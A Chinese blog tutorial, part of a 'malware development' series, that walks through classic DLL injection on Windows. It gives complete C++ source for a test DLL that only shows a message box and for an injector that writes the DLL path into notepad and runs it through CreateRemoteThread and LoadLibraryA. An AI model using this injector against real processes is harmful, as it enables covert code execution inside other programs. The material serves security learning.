恶意软件开发(三)经典DLL注入流程
什么是dll注入?
DLL注入允许将外部DLL文件加载到进程中并运行其中的代码。DLL(动态链接库)是一种可重用的代码库,它包含在多个程序中使用的函数、类、变量和其他程序代码。DLL注入技术可以通过将DLL文件注入到目标进程的地址空间中,从而允许程序能够访问其中的代码和数据。DLL注入通常用于许多不同的目的,包括增强程序的功能,修改程序的行为,以及执行恶意活动,如间谍软件或病毒。在某些情况下,DLL注入也可以用于调试或测试程序,或者在某些特定场景下进行一些修改或定制。(来自ChatGpt的解释)
生成dll文件
我这里使用DevCpp
新建了dll项目
:
新建的项目有两个文件,一个是dll.h
,一个是dllmain.cpp
,将这两个文件修改为如下代码,在dll被映射到了进程的地址空间时弹窗:
dll.h
代码:
#ifndef _DLL_H_ #define _DLL_H_ #if BUILDING_DLL #define DLLIMPORT __declspec(dllexport) #else #define DLLIMPORT __declspec(dllimport) #endif class DLLIMPORT DllClass { }; #endif
dllmain.cpp
代码:
/* Replace "dll.h" with the name of your header */ #include "dll.h" #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason) { case DLL_PROCESS_ATTACH: { //当这个DLL被映射到了进程的地址空间时 MessageBox(0, "inj!\n","inj",MB_ICONINFORMATION); break; } case DLL_PROCESS_DETACH: { //这个DLL从进程的地址空间中解除映射 break; } case DLL_THREAD_ATTACH: { //一个线程正在被创建 break; } case DLL_THREAD_DETACH: { //线程终结 break; } } /* Return TRUE on success, FALSE on failure */ return TRUE; }
然后进行编译得到test.dll
文件。
编写注入文件
主要步骤如下:
- (1)打开目标进程
- (2)分配目标进程的内存
- (3)将dll加载到目标进程
- (4)在目标进程中创建新的线程
这里涉及到的函数有:
(1)OpenProcess:用于打开指定进程的句柄,以便在进程间进行通信或操作。
HANDLE OpenProcess( DWORD dwDesiredAccess, // 访问权限 BOOL bInheritHandle, // 是否继承句柄 DWORD dwProcessId // 进程ID );
(2)VirtualAllocEx:为远程进程分配内存缓冲区,这个函数可以用于实现共享内存,动态加载DLL文件,以及创建线程栈等操作。
LPVOID VirtualAllocEx( HANDLE hProcess, // 目标进程句柄 LPVOID lpAddress, // 分配的内存地址 SIZE_T dwSize, // 分配的内存大小 DWORD flAllocationType,// 内存分配类型 DWORD flProtect // 内存保护属性 );
(3)WriteProcessMemory:在进程之间复制数据,该函数可用于在不同进程之间共享数据,或者在同一进程中的不同线程之间共享数据。:
BOOL WriteProcessMemory( HANDLE hProcess, // 目标进程句柄 LPVOID lpBaseAddress, // 目标内存地址 LPCVOID lpBuffer, // 写入数据的缓冲区 SIZE_T nSize, // 写入数据的大小 SIZE_T *lpNumberOfBytesWritten // 实际写入数据的大小 );
(4)CreateRemoteThread:用于在指定进程中创建一个远程线程,并在远程线程中执行指定的函数。该函数可用于在不同进程之间执行函数,或者在同一进程中的不同线程之间执行函数。
HANDLE CreateRemoteThread( HANDLE hProcess, // 目标进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes,// 线程安全属性 SIZE_T dwStackSize, // 线程栈大小 LPTHREAD_START_ROUTINE lpStartAddress, // 线程入口地址 LPVOID lpParameter, // 线程参数 DWORD dwCreationFlags, // 线程创建标志 LPDWORD lpThreadId // 线程ID );
(5)WaitForSingleObject:用于等待一个指定的对象变为有信号状态。
DWORD WaitForSingleObject( HANDLE hHandle, // 要等待的对象的句柄 DWORD dwMilliseconds // 等待时间,以毫秒为单位 );
(6)VirtualFreeEx:用于释放指定进程中的虚拟内存。
BOOL VirtualFreeEx( HANDLE hProcess, // 要释放虚拟内存的进程的句柄 LPVOID lpAddress, // 要释放的虚拟内存的起始地址 SIZE_T dwSize, // 要释放的虚拟内存的大小,以字节为单位 DWORD dwFreeType // 释放类型 );
完整代码如下:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #include <tlhelp32.h> char evilDLL[] = "C:\\Users\\16537\\Desktop\\test.dll"; unsigned int evilLen = sizeof(evilDLL) + 1; int main(int argc, char* argv[]) { HANDLE ph; // 进程句柄 HANDLE rt; // 远程线程 LPVOID rb; // 远程内存 // 获取LoadLibraryA函数的地址 HMODULE hKernel32 = GetModuleHandle("Kernel32"); VOID *lb = (VOID *)GetProcAddress(hKernel32, "LoadLibraryA"); // 判断进程是否存在 if ( atoi(argv[1]) == 0) { printf("PID not found!\n"); return -1; } printf("PID: %i", atoi(argv[1])); // 打开目标进程 ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); // 分配远程进程的内存 rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // 在进程间复制dll WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL); // 在目标进程中创建新的线程 rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL); // 等待远程线程执行结束 WaitForSingleObject(rt, INFINITE); // 清理内存空间 VirtualFreeEx(ph, rb, 0, evilLen); CloseHandle(ph); CloseHandle(rt); return 0; }
这里将dll注入到notepad
中,先打开一个记事本,通过processhacker
找到PID:
接着编译上面的代码得到evil_inj.exe
,再运行这个exe
:
可以看到注入成功,在processhacker
中可以看到notepad
加载了test.dll
。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?